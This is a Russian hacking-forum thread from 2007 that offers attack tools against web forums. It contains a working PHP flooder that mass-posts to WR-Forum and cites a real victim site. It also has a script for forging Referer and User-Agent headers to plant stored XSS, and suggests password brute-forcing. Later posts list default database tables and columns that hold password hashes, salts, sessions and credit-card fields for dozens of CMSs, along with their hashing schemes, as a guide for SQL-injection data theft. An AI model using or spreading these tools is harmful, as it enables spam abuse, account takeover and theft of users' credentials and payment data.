Форумы Полезная инфа

Discussion in 'Уязвимости CMS/форумов' started by Grey, 7 Sep 2007.

  1. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    - флудеры, регеры, досеры

    Флудер - программа/скрипт цель которой создать большое кол-во сообщений/тем на форуме (гостевой и т.д.), ничего полезного этим добиться нельзя (самое ужасное что ждёт админа форума это потратить время на очистку от флуда (хотя если скрипт написан криво, то есть возможность нарушить его работу, но такое бывает редко)) (собственно в большинстве случаев такими программами пользуются школьники лет 11-13, которые не могут придумать ничего более серьезного).
    Регеры - программы/скрипты цель который зарегистрировать большое кол-во аккаунтов, елси же в регерах асек или мыльников есть хоть какой то толк (всё это нареганное добро можно будет продать в дальнейшем), то от регера акков на форуме (гостевой и т.д.) толку нет, кроме того что бы прибавить работу админу (модеру и т.д.).
    Досеры - программы цель которых создать большое кол-во соединений, которые загрузят атакуемый сервак после чего его работа будет нарушена на какое то время (ввиду того что ачат против доса, работу таких программ расматривать не будем).

    Напишем простой флудер, для не большого форума WR-Forum версии 1.5.2
    Скачать сам скрипт форума можно здесь: http://woweb.ru/load/56-1-0-3745

    Смотрим страницу создания новой темы, видим форму:

    Code:
    <form action="index.php?event=addtopic&fid=1" method=post name=REPLIER><input type=text  class=post name=name size=23> <input type=text class=post name=email size=24><br><input type=text class=post name=zag maxlength=60 size=50><br>
    <textarea class=post cols=100 rows=6 name=msg></textarea>
    <BR><input type=submit class=mainoption value='     Добавить     '></td></form>
    Здесь нам понадобится это:

    Путь до обрабатывающего данные скрипта:

    action=index.php?event=addtopic&fid=

    Имена переменных:

    name=name
    name=zag
    name=msg

    И смотрим какой тип передачи данных post или get​

    Тип передачи данных post, напишем на php не большой скрипт:

    PHP:
    <?php

    $host 
    'localhost'// адрес сайта без http:// к примеру site.ru
    $path '/forum/'// путь до форума, к примеру /forum/
    $n 100// число тем, которые будут созданы.


    $path .= 'index.php?event=addtopic&fid=1';

    for(
    $i 0$i $n$i++)
    {
    $sock fsockopen($host'80');
    $data 'name='.$i.'&zag='.$i.'&msg='.$i// имена переменных берём отсюда: input type=text  class=post name=name size=23
    $len =  strlen($data);
    $headers "POST $path HTTP/1.1\r\nHost: $host\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: $len\r\n\r\n$data\r\nConnection: close\r\n\r\n";
    fputs($sock$headers);
    fclose($sock);
    }

    ?>
    Делать подробное описание каждого оператора и функции нет смысла - тот, кто знаком с php напишет такой скрипт минут за 5, а те кто не знаком с php врятли поймут что либо, читая описание каждой строки этого скрипта. Поэтому для тех кто не знает php я подобрал небольшую сборку статей (или даже вырезок из статей) на тему передачи данных.
    все необходимые файлы приаттачены к посту.


    Суть этого флудера сводится к установке соединения и передачи данных, которые передавались бы из формы отправки.

    Результат работы скрипта можно наблюдать здесь: __http://ce__nt__er.uct.ua/for__um/?fid=1 (уберити из сылки "__")

    Написать по аналогии регер не сложно. Единственный момент, это всевозможная защита (ограничение по времени, картинка с кодом) - написать флудер для хорошо защищённого форума (гостевой и т.д. сложно).
    Хотя если защита сделана криво, к примеру есть гостевые книги в которых защита сводится к проверки сообщения на сходство с предыдущим (т.е. нельзя написать два одинаковых сообщения), то в нашем случае такая защита будет бесполезна (т.к. текст сообщения здесь меняется).

    Если защита от флуда сделана надлежащим образом, то писать флудер который будет обходить защиту и тратить на это время, не рационально, т.к. особого толка от него не будет (долгое время работы и не большой результат).

    - x-forward-for, client-ip, referer

    Раз речь зашла про передачу данных, то в кратце расскажу про подделку referer (ну и других переменных окружения). Было бы неплохо если бы кто нибудь более подробно раскрыл эту тему.

    Когды вы посещаете страницу, то ваш браузер передаёт некоторую о вас информацию, среди этой информации referer - страница с которой вы перешли на данный сайт, user-agent - информация о вашем браузере и операционной системы.
    На многих сайтах ведётся статистика, и многие не сильно продвинутые кодеры забывают фильтровать эти данные и как следствие (статистика как правило отображается) мы получаем активную xss.

    Для подделки этих данных существует достаточно большое кол-во программ/скриптов, привиду пример такого скрипта:

    PHP:
    <?php
    if($HTTP_POST_VARS['form1'] == 1):
    $host $HTTP_POST_VARS['host'];
    $port $HTTP_POST_VARS['port'];
    $path $HTTP_POST_VARS['path'];
    $referer $HTTP_POST_VARS['referer'];
    $user_agent $HTTP_POST_VARS['user_agent'];
    $s fsockopen($host,$port) or die ('Не удаётся присоединиться к хосту.<br>');
    echo(
    'Соединение установлено.<br>'.$s.'<hr><br>');
    $headers "GET $path HTTP/1.1\r\nHost: $host\r\nReferer: $referer\r\nUser-Agent: $user_agent\r\nConnection: close\r\n\r\n";
    fputs($s$headers);
    echo (
    'Данные переданы.<br>'.fgets($s));
    fclose($s);
    else:
    ?>
    <table border='0' cellpadding='0' cellspacing='0' width='600'>
    <form method='post'>
    <input type='hidden' name='form1' value='1'>
    <tr>
    <td width='25%' height='30'>Host:</td>
    <td width='40%' height='30'><input type='text' name='host' size='25'></td>
    <td width='35%' height='30'><b>localhost</b></td>
    </tr>
    <tr>
    <td width='25%' height='30'>Port:</td>
    <td width='40%' height='30'><input type='text' name='port' size='4' value='80'></td>
    <td width='35%' height='30'><b>80</b></td>
    </tr>
    <tr>
    <td width='25%' height='30'>Path:</td>
    <td width='40%' height='30'><input type='text' name='path' size='25'></td>
    <td width='35%' height='30'><b>/dir/name.php</b></td>
    </tr>
    <tr>
    <td width='25%' height='30'>Referer:</td>
    <td width='40%' height='30'><input type='text' name='referer' size='25'></td>
    <td width='35%' height='30'><b>test1</b></td>
    </tr>
    <tr>
    <td width='25%' height='30'>User-agent:</td>
    <td width='40%' height='30'><input type='text' name='user_agent' size='25'></td>
    <td width='35%' height='30'><b>test2</b></td>
    </tr>
    <tr>
    <td width='100%' height='30' colspan=3><input type='submit' value='Enter'></td>
    </tr>
    </form>
    </table>
    <?php
    endif;
    ?>
    Простейший скрипт для подделки referer"а и user_agent"а.

    Что еще полезного можно сделать имея минимум знаний по протоколу HTTP/1.1 и php?

    Ну к примеру написать скрипт для брута паролей на сайте, суть проста отправлять данные и парсить страницу на наличие/отсутствие тех или иных слов указывающий на правильный/не правильный логин и пароль (правда конечно назвать такой брут рациональным способом взлома сложно).

    Вообще что бы лучше понять тему передачи данных не мешает просмотреть rfc2616 (мануал по протоколу HTTP/1.1)

    Вырезки из статей на тему передачи данных:
     

    Attached Files:

    #1 Grey, 7 Sep 2007
    Last edited: 7 Sep 2007
    13 people like this.
  2. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    - имена таблиц\столбцов sql

    Invision Power Board

    Таблица с хешами паролей пользователей:

    PREFIX_members_converge

    Колонки с хешем пароля и солью:

    converge_pass_hash
    converge_pass_salt

    По умолчанию префикс: ibf

    Алгоритм хеширования: md5(md5($salt).md5($pass))


    phpBB

    Таблица с хешами паролей пользователей:

    PREFIX_users

    Колонки с логином и хешем пароля:

    username
    user_password

    По умолчанию префикс: phpbb

    Алгоритм хеширования: md5($pass)


    YaBB SE (v 1.0.0)

    Таблица с хешами паролей пользователей:

    PREFIX_members

    Колонки с логином и хешем пароля:

    memberName
    passwd

    По умолчанию префикс: yabbse


    Board v3.0

    Таблица с паролями пользователей:

    board000_users

    Колонки с логином и паролем:

    name
    password

    Пароль в чистом виде (не хеширован).

    При установке нет возможности изменить префикс.


    ITA Forum

    Таблица с хешами паролей пользователей:

    itaf_user

    Колонки с логином и хешем пароля:

    user_name
    user_pass

    Алгоритм хеширования: md5($pass)

    При установке нет возможности изменить префикс.


    XMB (1.5 Full)

    Таблица с хешами паролей пользователей:

    members

    Колонки с логином и хешем пароля:

    username
    password

    Алгоритм хеширования: md5($pass)


    UBB Threads (5.5)

    Таблица с паролями пользователей:

    w3t_Users

    Колонки с логином и паролем:

    U_Username
    U_Password


    RusBB (0.7)

    Таблица с паролями пользователей:

    users

    Колонки с логином и паролем:

    name
    pass

    Пароль в чистом виде (не хеширован).


    KerviNet Forum (1.1)

    Таблица с паролями пользователей:

    users

    Колонки с логином и паролем:

    name
    pass

    Пароль в чистом виде (не хеширован).
     
    #2 Grey, 7 Sep 2007
    Last edited: 7 Sep 2007
    3 people like this.
  3. ettee

    ettee Administrator
    Staff Member

    Joined:
    12 Oct 2006
    Messages:
    466
    Likes Received:
    1,036
    Reputations:
    1,065
    Default tables:

    PhpBB:
    [phpbb_users]
    username
    user_password
    user_email
    default hash: md5($pass)

    IPB:
    ibf_members_converge
    ibf_members
    ibf_sessions
    ipb.ibf_members
    forum.ibf_members
    ibf_admin_sessions
    ibf_conf_settings
    ibf_member_extra
    ibf_members_converge
    [ibf_members]
    name
    password
    default hash(IPB 2.x.x.): md5(md5($salt).md5($pass))

    phpBB2:
    phpBB2.forum_users

    YaBB:
    yabb_settings
    yabbse_settings
    yabbse_members

    ITA Forum:
    itaf_user
    default hash: md5($pass)

    Board:
    board000_users

    XMB:
    [members]
    username
    password
    default hash: md5($pass)

    RusBB:
    [w3t_Users]
    U_Username
    U_Password

    KerviNet Forum:
    [users]
    name
    pass

    UBB Threads:
    w3t_Users

    Mambo:
    [mambo_session]
    session_id
    time
    username
    gid
    guest
    [mambo_users]
    name
    username
    email
    password
    sendEmail

    e107:
    e107_user
    e107.e107_user
    default hash: md5(md5($pass))

    vBulletin:
    vbulletin_session
    vb_user
    [vbulletin_user]
    username
    email
    password
    salt
    homepage
    icq
    aim
    parentemail
    yahoo
    ipaddress
    msn
    default hash(vBulletin 3.x.x): md5(md5($pass).$salt)

    Koobi:
    kpro_adminlogs
    kpro_user
    kpro6_user
    kpro5_user
    koobi4_user

    MiniBB:
    minibbtable_users

    UseBB:
    usebb_members
    usebb_name

    MyBB:
    mybb_forums
    [mybb_users]
    username
    password
    salt
    email
    loginkey
    icq
    aim
    regip

    MercuryBoard:
    mb_users

    PunBB:
    punbb_users
    default hash: md5($pass)

    Pforum:
    phorum_user
    phorum_users
    phorum_session

    phpmyadmin:
    phpmyadmin.pma_table_info
    pma_table_info

    SMF:
    smf_members
    default hash(SMF 1.1.x.): sha1($username.$pass)

    Nuke:
    nuke_authors
    nuke_bbconfig
    nuke_config
    nuke_popsettings
    nuke_users

    Smallnuke:
    sn_admins
    sn_members

    OpenBB:
    obb_profiles

    phpfusion:
    fusion_new_users
    fusion_user_groups
    fusion_users

    4images:
    4images_users

    Phppgads:
    phpads_affiliates
    phpads_clients
    phpads_config

    Shop-Script:
    SS_orders
    shop.cards
    shop.orders

    XOOPS:
    xoops_bannerclient
    xoops_users

    osCommerce:
    cc_type
    cc_owner
    cc_number
    cc_expires

    Xaraya:
    xar_email
    xar_name
    xar_pass
    xar_roles
    xar_uid
    xar_uname
    i_xar_roles_email
    i_xar_roles_name

    Coppermine Photo Gallery:
    cpg_bridge
    cpg_config

    OsCommerce(shop):
    [address_book]
    entry_company
    entry_firstname
    entry_lastname
    entry_street_address
    entry_city
    entry_state
    admin_access
    [admin_access]
    configuration
    server_info
    whos_online
    accounting
    create_account
    customers_status
    coupon_admin
    mail
    credits
    blacklist
    [banktransfer]
    banktransfer_owner
    banktransfer_number
    banktransfer_bankname
    banktransfer_blz
    banktransfer_status
    banktransfer_prz
    banktransfer_fax
    [customers]
    customers_email_address
    customers_password
    password_request_key

    Voodoo chat:
    voodoo_members

    BlastChat:
    jos_blastchatc_users
    jos_comprofiler_members
    jos_joomblog_users
    jos_messages_cfg
    jos_moschat_users
    jos_users

    Other chat:
    chat_config
    chat_users

    Default fields:
    [user/grop/id/member/nick/account]
    Code:
    group
    groups
    group_id
    group_id_misc
    member_name
    member_id
    news_user
    memberid
    memberids
    membersid
    membersids
    news_users
    user_id
    users_id
    userid
    userids
    usersid
    usersids
    membername
    membernames
    usr
    usrs
    group_name
    membergroupids
    usergroupid
    account
    clients
    client
    adid
    admin_id
    adm
    admin
    admins
    administrator
    administrators
    adminlogin
    users
    nick
    nicks
    name
    names
    usrlogin
    usr_login
    userlogin
    user_login
    usr_name
    usename
    use_name
    username
    user_name
    nickname
    nick_name
    user_nick
    nickuser
    nick_user
    nickusers
    nick_users
    accounts
    auth_user
    auth_users
    reg_users
    member
    members
    reguser
    regusers
    reg_user
    displaygroupid
    login_name
    id
    uid
    login
    userlogin
    user_id
    ids
    id_group
    id_member
    id_members
    userlogin
    userlogins
    user
    logins
    username
    usersname
    user_name
    user_table
    user_website
    [mail]
    Code:
    email
    e-mail
    mail
    email_full
    email_pm
    emailaddress
    emailnotification
    emailonpm
    emailstamp
    member
    members
    pntomail
    sendemail
    showemail
    szemailaddress
    user_email
    user_hide_email
    user_viewemail
    admin_email
    adminemail
    adminmail
    blogmail_account
    blogmail_password
    board_email
    cansendemail
    ci_email
    converge_email
    parentemail
    [session]
    sid
    sids
    sesskey
    session
    sessions
    session_id
    session_ip_address
    session_member_id
    session_member_login_key
    session_member_name

    [hash/salt]
    converge_pass_hash
    converge_pass_salt
    hash
    hashsalt
    md5hash
    salt
    hashsalt

    [config/setting]
    settings
    setting
    config
    conf
    configs
    customers
    customer

    [password]
    Code:
    parol
    lostpass
    lost_pass
    lostpasswords
    lost_passwords
    user_pass
    users_pass
    userpassword
    passwd
    customers_password
    pass
    pw
    pwd
    users_password
    user_passwords
    userpass
    temppass
    temp_pass
    temppasword
    temp_password
    admin_pw
    admin_pwd
    user_pass
    user_password
    user_newpasswd
    user_password
    userpassword
    alb_password
    clientpassword
    login_pw
    login_pwd
    userpw
    user_pw
    passtemp
    passwd
    password
    passwords
    auth_pwd
    auth_pw
    auth_passwd
    auth_passwds
    auth_password
    auth_passwords
    authpasswords
    auth_password
    authpasswd
    authpasswds
    user_newpwdkey
    passworddate
    passwordsalt
    Default columns:​
    Code:
    personal_key
    last_login
    userip
    user_level
    text
    data
    status
    phone
    tbl
    tbls
    news
    logs
    log
    statistics
    test
    orders
    order
    articles
    article
    links
    main
    info
    content
    contact
    contacts
    dealer
    dealers
    client
    clients
    partner
    partners
    author
    authors
    key
    keys
    aid
    aim
    aim_name
    album_id
    albumname
    ci_accountname
    cid
    clientid
    clientname
    clientusername
    converge_id
    db_database_name
    db_hostname
    db_password
    db_username
    fid
    forumname
    gid
    homepage
    icq
    icq_number
    ip
    ip_addr
    ip_address
    ipaddress
    languageid
    last_ip
    lastname
    legacy_password
    license_number
    login
    login_anonymous
    loginkey
    mapid
    member_login_key
    memberip
    msnname
    org_perm_id
    page_id
    pid
    realname
    referenceid
    referrerid
    regip
    registration_ip
    reputationlevelid
    secretanswer
    secretquestion
    short_name
    smtp_host
    smtp_password
    smtp_username
    styleid
    table_prefix
    user
    user_aim
    user_icq
    user_id
    user_ip
    userlogin
    version
    website
    zip
    thx: [53x]Shadow
     
    _________________________
    4 people like this.
  4. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Joined:
    25 Jan 2007
    Messages:
    284
    Likes Received:
    597
    Reputations:
    514
    update:

    e107:
    [e107_user]
    user_name
    user_password

    phpfusion:
    [fusion_users]
    user_name
    user_password
    user_email
    user_hide_email
    user_aim
    user_icq
    user_msn
    user_yahoo
    user_web
    default hash: md5($password)
     
    #4 [53x]Shadow, 23 Sep 2007
    Last edited: 23 Sep 2007
    1 person likes this.